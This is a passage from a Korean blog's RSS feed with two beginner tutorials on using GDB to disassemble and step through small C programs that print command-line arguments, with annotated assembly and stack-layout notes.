&lt;div&gt;0x8048410 &amp;lt;main+24&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp // ESP + 8&lt;/div&gt;
&lt;div&gt;0x8048413 &amp;lt;main+27&amp;gt;: &amp;nbsp; &amp;nbsp;lea &amp;nbsp; &amp;nbsp;0xffffffd8(%ebp),%eax // EAX 에 (EBP-40) 주소 값을 복사합니다.&lt;/div&gt;
&lt;div&gt;0x8048416 &amp;lt;main+30&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %eax // EAX 를 푸시합니다.&lt;/div&gt;
&lt;div&gt;0x8048417 &amp;lt;main+31&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; $0x8048480 // &quot;%s\n&quot; 을 푸시합니다.&lt;/div&gt;
&lt;div&gt;// 0x8048480 &amp;lt;_IO_stdin_used+4&amp;gt;: &amp;nbsp; &amp;nbsp;&quot;%s\n&quot;&lt;/div&gt;
&lt;div&gt;0x804841c &amp;lt;main+36&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048330 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;// printf(&quot;%s\n&quot;, buffer);&lt;/div&gt;
&lt;div&gt;0x8048421 &amp;lt;main+41&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;0x8048424 &amp;lt;main+44&amp;gt;: &amp;nbsp; &amp;nbsp;leave&lt;/div&gt;
&lt;div&gt;0x8048425 &amp;lt;main+45&amp;gt;: &amp;nbsp; &amp;nbsp;ret&lt;/div&gt;
&lt;div&gt;/* 생략 */&lt;/div&gt;
&lt;div&gt;End of assembler dump.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb) b *main+19&lt;/div&gt;
&lt;div&gt;Breakpoint 2 at 0x804840b&lt;/div&gt;
&lt;div&gt;(gdb) r aaaa&lt;/div&gt;
&lt;div&gt;The program being debugged has been started already.&lt;/div&gt;
&lt;div&gt;Start it from the beginning? (y or n) y&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
Starting program: /home/gate/xodnr/tmp/t2 aaaa&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
Breakpoint 2, 0x804840b in main ()&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb) x/s $edx&lt;/div&gt;
&lt;div&gt;0xbffffcaf: &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;aaaa&quot; // 우리가 입력해주었던 Argv[1] 이 존재합니다&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
두 번째로 Buffer 의 주소값을 참조하는 과정입니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb) b *main+19&lt;/div&gt;
&lt;div&gt;Breakpoint 5 at 0x804840b&lt;/div&gt;
&lt;div&gt;(gdb) r aaaa&lt;/div&gt;
&lt;div&gt;The program being debugged has been started already.&lt;/div&gt;
&lt;div&gt;Start it from the beginning? (y or n)&lt;/div&gt;
&lt;div&gt;Please answer y or n.&lt;/div&gt;
&lt;div&gt;The program being debugged has been started already.&lt;/div&gt;
&lt;div&gt;Start it from the beginning? (y or n) y&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
Starting program: /home/gate/xodnr/tmp/t2 aaaa&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
Breakpoint 4, 0x804840a in main ()&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb) x/s $ebp-40&lt;/div&gt;
&lt;div&gt;0xbffffb40: &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;hûÿ¿p©&quot;&lt;/div&gt;
&lt;div&gt;(gdb) x/s $eax&lt;/div&gt;
&lt;div&gt;0xbffffb40: &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;hûÿ¿p©&quot; // 서로 같습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
이로써 이번 문제의 분석과정은 끝났습니다.&lt;/div&gt;
&lt;div&gt;복사해야할 것을 먼저 푸시하고 붙여줘야되는곳을 푸시했습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
소스가 짧아서 그런건지 매우 쉬웠습니다.&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-550-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-550-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-550-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=19637957&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/550</guid>
			<comments>http://iyounges.org/550#entry550comment</comments>
			<pubDate>Wed, 17 Aug 2011 20:04:16 +0900</pubDate>
		</item>
		<item>
			<title>[GDB-Analysis] GDB 바이너리 디버깅 1</title>
			<link>http://iyounges.org/549</link>
			<description>&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
제가 직접 간단하게 소스를 만들어 디버깅을 할 생각입니다.&lt;/div&gt;
&lt;div&gt;
워게임을 풀면서 많이나오는 소스들을 가지고 디버깅을 해볼 생각입니다. (argv, strncpy 인자 불러오기 등등)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
물론 IDA 로해야지 쉽고 빠르지만 그것보다 평소 디버깅 실력을 높이기위해 도전해봅니다.&lt;/div&gt;
&lt;div&gt;
제일 처음으로 GDB 로 디버깅을 하여 강의할 프로그램은 다음과 같습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
[gate@localhost tmp]$ cat t1.c&lt;/div&gt;
&lt;div&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
int main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s &amp;nbsp;&quot;, argv[0]);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s &amp;nbsp;&quot;, argv[1]);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s &amp;nbsp;&quot;, argv[2]);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, argv[3]);&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;div&gt;
[gate@localhost tmp]$ ./t1 1 2 3 4&lt;/div&gt;
&lt;div&gt;
./t1 &amp;nbsp;1 &amp;nbsp;2 &amp;nbsp;3&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
인자 4개를 출력해주는 프로그램 입니다.&lt;/div&gt;
&lt;div&gt;
바로 디버깅을 시작해보겠습니다.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
[gate@localhost tmp]$ gdb -q t1&lt;/div&gt;
&lt;div&gt;
(gdb) disas main&lt;/div&gt;
&lt;div&gt;
Dump of assembler code for function main:&lt;/div&gt;
&lt;div&gt;
0x80483d0 &amp;lt;main&amp;gt;: &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; %ebp&lt;/div&gt;
&lt;div&gt;
0x80483d1 &amp;lt;main+1&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;%esp,%ebp&lt;/div&gt;
&lt;div&gt;
0x80483d3 &amp;lt;main+3&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax&lt;/div&gt;
&lt;div&gt;
0x80483d6 &amp;lt;main+6&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;(%eax),%edx&lt;/div&gt;
&lt;div&gt;
0x80483d8 &amp;lt;main+8&amp;gt;: &amp;nbsp; &amp;nbsp; push &amp;nbsp; %edx&lt;/div&gt;
&lt;div&gt;
0x80483d9 &amp;lt;main+9&amp;gt;: &amp;nbsp; &amp;nbsp; push &amp;nbsp; $0x8048490&lt;/div&gt;
&lt;div&gt;
0x80483de &amp;lt;main+14&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048308 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;
0x80483e3 &amp;lt;main+19&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;
0x80483e6 &amp;lt;main+22&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax&lt;/div&gt;
&lt;div&gt;
0x80483e9 &amp;lt;main+25&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x4,%eax&lt;/div&gt;
&lt;div&gt;
0x80483ec &amp;lt;main+28&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%edx&lt;/div&gt;
&lt;div&gt;
0x80483ee &amp;lt;main+30&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %edx&lt;/div&gt;
&lt;div&gt;
0x80483ef &amp;lt;main+31&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; $0x8048490&lt;/div&gt;
&lt;div&gt;
0x80483f4 &amp;lt;main+36&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048308 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;
0x80483f9 &amp;lt;main+41&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;
0x80483fc &amp;lt;main+44&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax&lt;/div&gt;
&lt;div&gt;
0x80483ff &amp;lt;main+47&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%eax&lt;/div&gt;
&lt;div&gt;
0x8048402 &amp;lt;main+50&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%edx&lt;/div&gt;
&lt;div&gt;
0x8048404 &amp;lt;main+52&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %edx&lt;/div&gt;
&lt;div&gt;
0x8048405 &amp;lt;main+53&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; $0x8048490&lt;/div&gt;
&lt;div&gt;
0x804840a &amp;lt;main+58&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048308 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;
0x804840f &amp;lt;main+63&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;
---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---&lt;/div&gt;
&lt;div&gt;
0x8048412 &amp;lt;main+66&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax&lt;/div&gt;
&lt;div&gt;
0x8048415 &amp;lt;main+69&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0xc,%eax&lt;/div&gt;
&lt;div&gt;
0x8048418 &amp;lt;main+72&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%edx&lt;/div&gt;
&lt;div&gt;
0x804841a &amp;lt;main+74&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %edx&lt;/div&gt;
&lt;div&gt;
0x804841b &amp;lt;main+75&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; $0x8048495&lt;/div&gt;
&lt;div&gt;
0x8048420 &amp;lt;main+80&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048308 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;
0x8048425 &amp;lt;main+85&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;
0x8048428 &amp;lt;main+88&amp;gt;: &amp;nbsp; &amp;nbsp;xor &amp;nbsp; &amp;nbsp;%eax,%eax&lt;/div&gt;
&lt;div&gt;
0x804842a &amp;lt;main+90&amp;gt;: &amp;nbsp; &amp;nbsp;jmp &amp;nbsp; &amp;nbsp;0x8048430 &amp;lt;main+96&amp;gt;&lt;/div&gt;
&lt;div&gt;
0x804842c &amp;lt;main+92&amp;gt;: &amp;nbsp; &amp;nbsp;lea &amp;nbsp; &amp;nbsp;0x0(%esi,1),%esi&lt;/div&gt;
&lt;div&gt;
0x8048430 &amp;lt;main+96&amp;gt;: &amp;nbsp; &amp;nbsp;leave&lt;/div&gt;
&lt;div&gt;
0x8048431 &amp;lt;main+97&amp;gt;: &amp;nbsp; &amp;nbsp;ret&lt;/div&gt;
&lt;div&gt;
0x8048432 &amp;lt;main+98&amp;gt;: &amp;nbsp; &amp;nbsp;nop&lt;/div&gt;
&lt;div&gt;
0x8048433 &amp;lt;main+99&amp;gt;: &amp;nbsp; &amp;nbsp;nop&lt;/div&gt;
&lt;div&gt;
0x8048434 &amp;lt;main+100&amp;gt;: &amp;nbsp; nop&lt;/div&gt;
&lt;div&gt;
0x8048435 &amp;lt;main+101&amp;gt;: &amp;nbsp; nop&lt;/div&gt;
&lt;div&gt;
0x8048436 &amp;lt;main+102&amp;gt;: &amp;nbsp; nop&lt;/div&gt;
&lt;div&gt;
0x8048437 &amp;lt;main+103&amp;gt;: &amp;nbsp; nop&lt;/div&gt;
&lt;div&gt;
0x8048438 &amp;lt;main+104&amp;gt;: &amp;nbsp; nop&lt;/div&gt;
&lt;div&gt;
0x8048439 &amp;lt;main+105&amp;gt;: &amp;nbsp; nop&lt;/div&gt;
&lt;div&gt;
0x804843a &amp;lt;main+106&amp;gt;: &amp;nbsp; nop&lt;/div&gt;
&lt;div&gt;
0x804843b &amp;lt;main+107&amp;gt;: &amp;nbsp; nop&lt;/div&gt;
&lt;div&gt;
0x804843c &amp;lt;main+108&amp;gt;: &amp;nbsp; nop&lt;/div&gt;
&lt;div&gt;
---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---&lt;/div&gt;
&lt;div&gt;
0x804843d &amp;lt;main+109&amp;gt;: &amp;nbsp; nop&lt;/div&gt;
&lt;div&gt;
0x804843e &amp;lt;main+110&amp;gt;: &amp;nbsp; nop&lt;/div&gt;
&lt;div&gt;
0x804843f &amp;lt;main+111&amp;gt;: &amp;nbsp; nop&lt;/div&gt;
&lt;div&gt;
End of assembler dump.&lt;/div&gt;
&lt;div&gt;
(gdb) [gate@localhost tmp]$ clear&lt;/div&gt;
&lt;div&gt;
[gate@localhost tmp]$ cat t1.c&lt;/div&gt;
&lt;div&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
int main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;
{&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s &amp;nbsp;&quot;, argv[0]);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s &amp;nbsp;&quot;, argv[1]);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s &amp;nbsp;&quot;, argv[2]);&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, argv[3]);&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;/div&gt;
&lt;div&gt;
}&lt;/div&gt;
&lt;div&gt;
[gate@localhost tmp]$ ./t1 1 2 3 4&lt;/div&gt;
&lt;div&gt;
./t1 &amp;nbsp;1 &amp;nbsp;2 &amp;nbsp;3&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
대부분의 분들이 아시겠지만 모르는분들도 계시고, 복습차로 더해봅니다.&lt;/div&gt;
&lt;div&gt;
/*&lt;/div&gt;
&lt;div&gt;
EBP+4 &amp;nbsp; == RET&lt;/div&gt;
&lt;div&gt;
&amp;nbsp;↓ 4Byte&lt;/div&gt;
&lt;div&gt;
EBP+8 &amp;nbsp; == Argc == 인자 개수&lt;/div&gt;
&lt;div&gt;
&amp;nbsp;↓ 4Byte&lt;/div&gt;
&lt;div&gt;
EBP+12 == Argv[0]&amp;nbsp;== 프로그램 이름 == t1&lt;/div&gt;
&lt;div&gt;
&amp;nbsp;↓ 4Byte&lt;/div&gt;
&lt;div&gt;
EBP+16 == Argv[1] == 1&lt;/div&gt;
&lt;div&gt;
&amp;nbsp;↓ 4Byte&lt;/div&gt;
&lt;div&gt;
EBP+20 == Argv[2] == 2&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
Argv[0] Argv[1] Argv[2] == Argc 3&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
mov A B == B 에 A 의 값을 복사하다, 대입하다, 넣다&lt;/div&gt;
&lt;div&gt;
*/&lt;/div&gt;
&lt;div&gt;
[gate@localhost tmp]$ gdb -q t1&lt;/div&gt;
&lt;div&gt;
(gdb) disas main&lt;/div&gt;
&lt;div&gt;
Dump of assembler code for function main:&lt;/div&gt;
&lt;div&gt;
0x80483d0 &amp;lt;main&amp;gt;: &amp;nbsp; &amp;nbsp; &amp;nbsp; push &amp;nbsp; %ebp&lt;/div&gt;
&lt;div&gt;
0x80483d1 &amp;lt;main+1&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;%esp,%ebp // 프롤로그&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
0x80483d3 &amp;lt;main+3&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 - (EBP+12) == argv[0]&lt;/div&gt;
&lt;div&gt;
0x80483d6 &amp;lt;main+6&amp;gt;: &amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp;(%eax),%edx // EDX 에 EAX 값 복사&lt;/div&gt;
&lt;div&gt;
0x80483d8 &amp;lt;main+8&amp;gt;: &amp;nbsp; &amp;nbsp; push &amp;nbsp; %edx // EDX 푸시&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
0x80483d9 &amp;lt;main+9&amp;gt;: &amp;nbsp; &amp;nbsp; push &amp;nbsp; $0x8048490 // 0x8048490 푸시 - %s&lt;/div&gt;
&lt;div&gt;
0x80483de &amp;lt;main+14&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048308 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;
/*&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s &amp;nbsp;&quot;, argv[0]); 호출합니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;위의 소스를 제대로 분석하셨다면 푸시한 EDX 에는 Argv[0] 이 들어가있는것과&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;0x8048490 에는 &quot;%s &amp;nbsp;&quot; 가 들어가있다는것을 아실 수 있습니다.&lt;/div&gt;
&lt;div&gt;
*/&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
0x80483e3 &amp;lt;main+19&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp // ESP+8&lt;/div&gt;
&lt;div&gt;
0x80483e6 &amp;lt;main+22&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 의 값 복사&lt;/div&gt;
&lt;div&gt;
0x80483e9 &amp;lt;main+25&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x4,%eax // EAX + 4 == 아까 Argv[0] 에서 4를 더해 Argv[1] 이 됩니다.&lt;/div&gt;
&lt;div&gt;
0x80483ec &amp;lt;main+28&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%edx // EDX 에 EAX 값을 넣습니다.&lt;/div&gt;
&lt;div&gt;
0x80483ee &amp;lt;main+30&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %edx // EDX 를 푸시합니다.&lt;/div&gt;
&lt;div&gt;
0x80483ef &amp;lt;main+31&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; $0x8048490 // 0x8048490 을 푸시합니다. - 아까와 같은 과정을 거칩니다.&lt;/div&gt;
&lt;div&gt;
0x80483f4 &amp;lt;main+36&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048308 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;
// printf(&quot;%s &amp;nbsp;&quot;, argv[1]); 굳이 설명하지 않아도 아실겁니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
0x80483f9 &amp;lt;main+41&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;
0x80483fc &amp;lt;main+44&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 의 값 복사&lt;/div&gt;
&lt;div&gt;
0x80483ff &amp;lt;main+47&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%eax // EAX + 8 == 아까 Argv[0] 에서 8을 더해 Argv[2] 가 됩니다.&lt;/div&gt;
&lt;div&gt;
0x8048402 &amp;lt;main+50&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%edx&lt;/div&gt;
&lt;div&gt;
0x8048404 &amp;lt;main+52&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %edx&lt;/div&gt;
&lt;div&gt;
0x8048405 &amp;lt;main+53&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; $0x8048490&lt;/div&gt;
&lt;div&gt;
0x804840a &amp;lt;main+58&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048308 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;
// printf(&quot;%s &amp;nbsp;&quot;, argv[2]);&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
0x804840f &amp;lt;main+63&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;
0x8048412 &amp;lt;main+66&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax // EAX 에 (EBP+12) 의 값 복사&lt;/div&gt;
&lt;div&gt;
0x8048415 &amp;lt;main+69&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0xc,%eax // EAX + 12 == 아까 Argv[0] 에서 12을 더해 Argv[3] 가 됩니다.&lt;/div&gt;
&lt;div&gt;
0x8048418 &amp;lt;main+72&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%edx&lt;/div&gt;
&lt;div&gt;
0x804841a &amp;lt;main+74&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; %edx&lt;/div&gt;
&lt;div&gt;
0x804841b &amp;lt;main+75&amp;gt;: &amp;nbsp; &amp;nbsp;push &amp;nbsp; $0x8048495&lt;/div&gt;
&lt;div&gt;
0x8048420 &amp;lt;main+80&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048308 &amp;lt;printf&amp;gt;&lt;/div&gt;
&lt;div&gt;
// printf(&quot;%s\n&quot;, argv[3]);&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
0x8048425 &amp;lt;main+85&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%esp&lt;/div&gt;
&lt;div&gt;
0x8048428 &amp;lt;main+88&amp;gt;: &amp;nbsp; &amp;nbsp;xor &amp;nbsp; &amp;nbsp;%eax,%eax&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
0x804842a &amp;lt;main+90&amp;gt;: &amp;nbsp; &amp;nbsp;jmp &amp;nbsp; &amp;nbsp;0x8048430 &amp;lt;main+96&amp;gt;&lt;/div&gt;
&lt;div&gt;
0x804842c &amp;lt;main+92&amp;gt;: &amp;nbsp; &amp;nbsp;lea &amp;nbsp; &amp;nbsp;0x0(%esi,1),%esi&lt;/div&gt;
&lt;div&gt;
0x8048430 &amp;lt;main+96&amp;gt;: &amp;nbsp; &amp;nbsp;leave&lt;/div&gt;
&lt;div&gt;
0x8048431 &amp;lt;main+97&amp;gt;: &amp;nbsp; &amp;nbsp;ret // 에필로그&lt;/div&gt;
&lt;div&gt;
/* 생략 */&lt;/div&gt;
&lt;div&gt;
End of assembler dump.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
프로그램을 정상적으로 디버깅해보았습니다. 그러면 한번 얻어가는게 있어야하니깐&lt;/div&gt;
&lt;div&gt;
입력했을때 과연 EDX 에 정상적으로 들어가는지 확인해보겠습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
(gdb) b *main+14&lt;/div&gt;
&lt;div&gt;
